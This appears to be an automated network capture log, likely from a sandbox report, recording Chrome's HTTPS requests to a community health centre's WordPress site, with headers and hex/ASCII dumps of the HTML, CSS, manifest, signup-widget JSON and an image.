2024-04-24 12:45:14 UTC	16384	IN	Data Raw: a3 b3 dd 71 32 d6 99 ee df 74 3b aa b2 27 c7 07 7c 47 ae bb fd cc a8 62 08 68 ef 1a cb e4 54 23 43 40 28 0e d8 de 5c 43 1c 7b a4 c3 3b d4 68 65 12 38 ca 4f 3a 7e d1 e1 e1 ba a3 b6 79 78 d4 86 93 30 81 36 2c db 52 3d f6 7a 04 e3 96 56 79 c5 ef 7e c5 4a b3 85 97 b1 99 0c fc 1f 60 fc 86 44 c6 3d b2 73 e5 55 7a fb 25 00 23 57 d3 92 40 14 45 cf 1b 9d d2 42 4d 12 09 a4 81 8a 20 29 02 a1 b6 2d ac a4 ad 3f b7 5d b5 89 68 91 9b 02 93 b1 44 9b 72 21 2e d4 18 49 c7 ce bd 8f 59 44 04 2d de 62 60 78 f3 e6 7d 9c 7b cf 7d f7 9e 58 5e 4f d0 23 61 08 07 b4 df 8e da 21 a9 64 5b 58 2a ab 8d cf a2 6c 93 cc da bb 0f 9b 87 3a ff 67 4b a2 e5 77 2c f3 91 89 d3 64 38 47 c5 52 44 55 27 cd 9f 75 53 91 45 0d 9e a2 08 b3 5f 61 60 9b ac 63 f4 e6 5d 4a 08 64 62 72 1c cb 46 91 4c a4 44 Data Ascii: q2t;'\|GbhT#C@(\C{;he8O:~yx06,R=zVy~J`D=sUz%#W@EBM )-?]hDr!.IYD-b`x}{}X^O#a!d[X*l:gKw,d8GRDU'uSE_a`c]JdbrFLD
2024-04-24 12:45:14 UTC	1776	IN	Data Raw: fd 21 bf 7f 81 d7 b1 7e ff fe 1d 7c 15 28 68 32 f0 2f a8 a8 07 ad 36 fe ff 97 81 4b 90 0f 7c 4a e0 7f e8 26 ad ff ff ff 23 ee ed 61 62 02 1f 7b f0 ed 03 f4 fc 56 d0 a1 32 cc 90 23 0c 40 db 0a 21 03 77 a0 f1 19 d0 d6 04 e8 62 63 50 6f 8b 19 b2 c2 0c 14 e9 2c ec 1c e0 06 27 f8 fe 35 56 58 69 c2 01 5f 21 ce c2 0c 59 25 0e 3a 2f 03 74 85 d6 fd 2b 87 9f dc bb 72 f0 d9 c7 37 cf be 42 c3 ed 05 b4 5d 01 1b bf 78 09 2d 2d be 22 35 3c 69 36 f0 03 10 40 f4 6a d2 c3 da 21 b0 73 c7 44 a1 bd 19 05 68 02 91 07 f5 72 40 23 a9 c2 12 0a 7c ea a6 5e 32 e2 f2 ba 62 e0 2b c4 ff 42 37 1c 23 dd 7d fa 1f ba ce e2 1f ac 34 f9 0b 5a 7c 03 4a 10 bf c0 0d 59 c8 d2 3d c8 19 9e a0 de 0f e4 1a 8f 5f 60 73 40 2b c3 c1 fa 80 09 0d 94 78 c0 13 83 ff a1 87 48 fd 47 bd 0a 15 bc 3b 1d 7a e0 Data Ascii: !~\|(h2/6K\|J&#ab{V2#@!wbcPo,'5VXi_!Y%:/t+r7B]x--"5<i6@j!sDhr@#\|^2b+B7#}4Z\|JY=_`s@+xHG;z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	50147	18.154.206.128	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:14 UTC	598	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:45:15 UTC	1024	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 1538 Connection: close x-amz-id-2: Qw/GWGVPCl1SYAEMo80MU5Vec0khR8aDR0Xfy26nVOWm7GE4is2G52ElGcjb7uT4D4WfhMYWcMc= x-amz-request-id: XP9CSEJGZW81WQH9 Date: Wed, 24 Apr 2024 12:45:16 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT ETag: "6aba559afcf8291c518df6fa4c481556" x-amz-server-side-encryption: AES256 Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding,Origin,Access-Control-Request-Headers,Access-Control-Request-Method Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: Miss from cloudfront Via: 1.1 610506c6c40a8c3dbab9b577acc13892.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: ESA68aFAOQG69rolroIkut8AmtvITjC8rs8KJWrPaavuQYVMHeQ48Q==
2024-04-24 12:45:15 UTC	1538	IN	Data Raw: 7b 22 70 72 69 76 61 63 79 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 73 74 61 6e 74 63 6f 6e 74 61 63 74 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 63 75 73 74 6f 6d 65 72 2d 63 6f 6e 74 61 63 74 2d 64 61 74 61 2d 6e 6f 74 69 63 65 22 2c 22 66 69 6e 65 50 72 69 6e 74 54 65 78 74 22 3a 22 6d 61 72 6b 65 74 69 6e 67 20 65 6d 61 69 6c 73 22 2c 22 63 6f 6d 70 61 6e 79 4e 61 6d 65 22 3a 22 43 6f 6d 70 61 6e 79 20 6f 72 20 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 20 4e 61 6d 65 22 2c 22 70 68 79 73 69 63 61 6c 41 64 64 72 65 73 73 22 3a 7b 22 61 64 64 72 65 73 73 4c 69 6e 65 31 22 3a 22 37 37 37 20 53 20 4d 61 69 6e 20 53 74 22 2c 22 61 64 64 72 65 73 73 4c 69 6e 65 32 22 3a 22 53 75 69 74 65 20 31 30 30 22 2c 22 61 64 64 72 65 73 73 4c 69 6e 65 33 22 3a Data Ascii: {"privacyUrl":"https://www.constantcontact.com/legal/customer-contact-data-notice","finePrintText":"marketing emails","companyName":"Company or Organization Name","physicalAddress":{"addressLine1":"777 S Main St","addressLine2":"Suite 100","addressLine3":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	50149	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:15 UTC	574	OUT	GET /wp-content/themes/vpchc/images/favicon/manifest.json HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:45:15 UTC	376	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:15 GMT Content-Type: application/octet-stream Content-Length: 720 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-2d0" X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 5 X-Cache-Group: normal
2024-04-24 12:45:15 UTC	720	IN	Data Raw: 7b 0a 20 22 6e 61 6d 65 22 3a 20 22 41 70 70 22 2c 0a 20 22 69 63 6f 6e 73 22 3a 20 5b 0a 20 20 7b 0a 20 20 20 22 73 72 63 22 3a 20 22 5c 2f 61 6e 64 72 6f 69 64 2d 69 63 6f 6e 2d 33 36 78 33 36 2e 70 6e 67 22 2c 0a 20 20 20 22 73 69 7a 65 73 22 3a 20 22 33 36 78 33 36 22 2c 0a 20 20 20 22 74 79 70 65 22 3a 20 22 69 6d 61 67 65 5c 2f 70 6e 67 22 2c 0a 20 20 20 22 64 65 6e 73 69 74 79 22 3a 20 22 30 2e 37 35 22 0a 20 20 7d 2c 0a 20 20 7b 0a 20 20 20 22 73 72 63 22 3a 20 22 5c 2f 61 6e 64 72 6f 69 64 2d 69 63 6f 6e 2d 34 38 78 34 38 2e 70 6e 67 22 2c 0a 20 20 20 22 73 69 7a 65 73 22 3a 20 22 34 38 78 34 38 22 2c 0a 20 20 20 22 74 79 70 65 22 3a 20 22 69 6d 61 67 65 5c 2f 70 6e 67 22 2c 0a 20 20 20 22 64 65 6e 73 69 74 79 22 3a 20 22 31 2e 30 22 0a 20 20 7d Data Ascii: { "name": "App", "icons": [ { "src": "\/android-icon-36x36.png", "sizes": "36x36", "type": "image\/png", "density": "0.75" }, { "src": "\/android-icon-48x48.png", "sizes": "48x48", "type": "image\/png", "density": "1.0" }

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	50150	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:15 UTC	798	OUT	GET / HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962708.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:16 UTC	657	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 147166 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Link: <https://valleyprohealth.org/wp-json/>; rel="https://api.w.org/" Link: <https://valleyprohealth.org/wp-json/wp/v2/pages/1321>; rel="alternate"; type="application/json" Link: <https://valleyprohealth.org/>; rel=shortlink X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 6 X-Cache-Group: normal
2024-04-24 12:45:16 UTC	15727	IN	Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 73 74 79 6c 65 3d 22 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 20 73 6d 6f 6f 74 68 3b 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 77 2c 20 64 2c 20 73 2c 20 6c 2c 20 69 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 6c 5d 20 3d 20 77 5b 6c 5d 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 6c 5d 2e 70 75 73 68 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 67 74 6d 2e 73 74 61 72 74 27 3a 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 Data Ascii: <!doctype html><html lang="en-US" style="scroll-behavior: smooth;"><head> ... Google Tag Manager --> <script> (function(w, d, s, l, i) { w[l] = w[l] \|\| []; w[l].push({ 'gtm.start': new Date().ge
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 61 73 2d 77 68 69 74 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 Data Ascii: as-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--c
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 2e 64 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 2e 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 30 25 3b 0a 7d 0a 09 2e 6d 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 63 6f 6d 70 61 6e 79 20 2e 72 6f 77 20 2e 63 6f 6c 2d 39 2e 63 6f 6c 2d 6d 64 2d 36 20 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 65 6e 64 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 78 6c 2d 73 74 61 72 74 2e 66 6f 6f 74 65 72 5f 62 61 64 67 65 73 20 69 6d 67 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 7d 0a 09 0a 7d 0a 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e Data Ascii: ain-footer__logo-wrapper.d-inline-flex.justify-content-center.align-items-center { width: 40%;}.main-footer__company .row .col-9.col-md-6 .justify-content-end.justify-content-xl-start.footer_badges img { padding: 10px;}}@media only screen
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 32 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 31 32 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 2d 36 30 2e 31 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 36 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 31 32 2e 31 2d 31 32 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d Data Ascii: 2 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm12 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm-60.1 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.6-1.2 1.2-1.2zm12.1-12c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 61 73 73 3d 22 77 2d 31 30 30 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 20 63 2d 6d 74 2d 35 20 63 2d 6d 79 2d 6d 64 2d 33 20 64 2d 62 6c 6f 63 6b 20 64 2d 73 6d 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 70 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 6d 65 64 69 75 6d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 47 6f 6f 64 20 46 61 69 74 68 20 45 73 74 69 6d 61 74 Data Ascii: ass="w-100 crunch-button c-mt-5 c-my-md-3 d-block d-sm-inline-block crunch-button__full-background crunch-button__full-background--primary-color crunch-button__full-background--medium" target="_self"> Good Faith Estimat
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 6d 65 64 69 75 6d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 56 69 65 77 20 41 6c 6c 20 53 65 72 76 69 63 65 73 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a Data Ascii: rimary-color crunch-button__full-background--medium" target="_self"> View All Services </a> </div> </div> </div> </div> </div></div>
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 39 20 37 2e 37 30 38 37 43 39 2e 38 33 31 31 33 20 37 2e 38 30 37 38 33 20 39 2e 37 37 36 35 36 20 37 2e 39 33 36 34 34 20 39 2e 37 37 36 35 36 20 38 2e 30 37 37 34 43 39 2e 37 37 36 35 36 20 38 2e 32 31 38 32 20 39 2e 38 33 31 31 33 20 38 2e 33 34 38 36 38 20 39 2e 39 33 30 31 39 20 38 2e 34 34 37 37 34 4c 31 30 2e 32 34 35 35 20 38 2e 37 36 32 31 43 31 30 2e 33 34 34 36 20 38 2e 38 36 31 32 33 20 31 30 2e 34 37 36 37 20 38 2e 39 31 35 32 35 20 31 30 2e 36 31 37 37 20 38 2e 39 31 35 32 35 43 31 30 2e 37 35 38 36 20 38 2e 39 31 35 32 35 20 31 30 2e 38 39 30 37 20 38 2e 38 36 30 35 33 20 31 30 2e 39 38 39 38 20 38 2e 37 36 31 33 39 4c 31 34 2e 34 36 32 36 20 35 2e 32 38 38 36 34 43 31 34 2e 35 36 32 20 35 2e 31 38 39 32 20 31 34 2e 36 31 36 36 20 35 2e 30 Data Ascii: 9 7.7087C9.83113 7.80783 9.77656 7.93644 9.77656 8.0774C9.77656 8.2182 9.83113 8.34868 9.93019 8.44774L10.2455 8.7621C10.3446 8.86123 10.4767 8.91525 10.6177 8.91525C10.7586 8.91525 10.8907 8.86053 10.9898 8.76139L14.4626 5.28864C14.562 5.1892 14.6166 5.0
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 38 36 34 43 31 34 2e 35 36 32 20 35 2e 31 38 39 32 20 31 34 2e 36 31 36 36 20 35 2e 30 35 36 34 35 20 31 34 2e 36 31 36 32 20 34 2e 39 31 35 33 33 43 31 34 2e 36 31 36 35 20 34 2e 37 37 33 37 35 20 31 34 2e 35 36 32 20 34 2e 36 34 30 39 32 20 31 34 2e 34 36 32 35 20 34 2e 35 34 31 36 33 5a 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 76 67 3e 0a 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 64 61 72 6b 2d 67 72 61 79 20 66 6f 6e 74 2d 73 69 7a 65 2d 31 34 20 63 2d 6d 74 2d 35 20 63 2d 6d 74 2d 6d 64 2d 33 20 64 2d 62 6c 6f 63 6b 22 3e 50 72 6f 76 69 64 69 6e 67 20 63 61 72 65 20 69 6e 20 53 6f 75 74 68 20 54 65 72 72 65 20 48 61 Data Ascii: 864C14.562 5.1892 14.6166 5.05645 14.6162 4.91533C14.6165 4.77375 14.562 4.64092 14.4625 4.54163Z" /> </svg> </a> <span class="text-dark-gray font-size-14 c-mt-5 c-mt-md-3 d-block">Providing care in South Terre Ha
2024-04-24 12:45:16 UTC	16384	IN	Data Raw: 5f 5f 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 77 69 74 74 65 72 2e 63 6f 6d 2f 56 61 6c 6c 65 79 50 72 6f 48 65 61 6c 74 68 22 20 63 6c 61 73 73 3d 22 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 64 2d 66 6c 65 78 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 2d 63 69 72 63 6c 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 63 6c 61 73 73 3d 22 73 6f 63 69 61 6c 2d 6c 69 6e 6b 5f 5f 69 63 6f 6e 20 73 6f 63 69 61 6c 2d 6c 69 6e 6b 5f 5f 69 63 6f 6e 2d 2d 74 77 69 74 74 65 72 22 20 76 69 65 77 42 6f Data Ascii: __item"> <a href="https://twitter.com/ValleyProHealth" class="social-link d-flex align-items-center justify-content-center rounded-circle" target="_blank" rel="nofollow"> <svg class="social-link__icon social-link__icon--twitter" viewBo
2024-04-24 12:45:16 UTC	367	IN	Data Raw: 5f 63 74 63 74 5f 6d 20 3d 20 22 31 31 38 61 61 64 65 34 65 39 31 66 31 39 33 39 33 39 62 34 35 65 64 30 64 33 32 38 30 33 36 30 22 3b 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 73 69 67 6e 75 70 53 63 72 69 70 74 22 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 63 74 63 74 63 64 6e 2e 63 6f 6d 2f 6a 73 2f 73 69 67 6e 75 70 2d 66 6f 72 6d 2d 77 69 64 67 65 74 2f 63 75 72 72 65 6e 74 2f 73 69 67 6e 75 70 2d 66 6f 72 6d 2d 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 22 20 61 73 79 6e 63 20 64 65 66 65 72 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 6e 64 20 43 6f 6e 73 74 61 6e 74 20 43 6f 6e 74 61 63 74 20 41 63 74 69 76 65 20 46 6f 72 6d 73 20 2d 2d 3e 0a 20 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 3c 21 2d 2d 20 54 Data Ascii: _ctct_m = "118aade4e91f193939b45ed0d3280360"; </script><script id="signupScript" src="//static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.min.js" async defer></script>... End Constant Contact Active Forms --> </body></html>... T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	50152	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:15 UTC	555	OUT	GET /portal14763/images/ecw-badge.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:15 UTC	432	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:15 GMT Content-Type: image/png Content-Length: 34112 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:15 GMT Accept-Ranges: bytes ETag: W/"34112-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:15 UTC	15952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 87 00 00 00 87 08 06 00 00 00 3c e7 4a 0a 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 04 67 41 4d 41 00 00 b1 8e 7c fb 51 93 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 84 b6 49 44 41 54 78 da d4 d0 b9 0d 00 30 0c 02 c0 fc fb cf 1b 3b 0f 05 48 2e b2 40 90 ae b2 a0 70 4e ff 26 53 81 0a 0d 7a 30 1e 74 6b ec 88 76 94 0d 07 56 e0 60 34 1f 2c 70 76 b4 73 7e 7c f0 15 40 8c 43 d0 cd 4c 50 0c 4b 0c ec 50 cc 01 c4 9c 68 98 0b 8d cf 81 a4 1e 96 48 58 90 12 08 23 52 64 c2 12 04 2c 51 fc 84 e2 1f 40 fc 1d 09 7f 43 e3 7f 87 aa 81 a9 87 25 96 7f 50 3c 64 00 40 00 31 0e b1 12 82 05 5a 02 b0 43 Data Ascii: PNGIHDR<JpHYsgAMA\|Q cHRMz%u0`:o_FIDATx0;H.@pN&Sz0tkvV`4,pvs~\|@CLPKPhHX#Rd,Q@C%P<d@1ZC
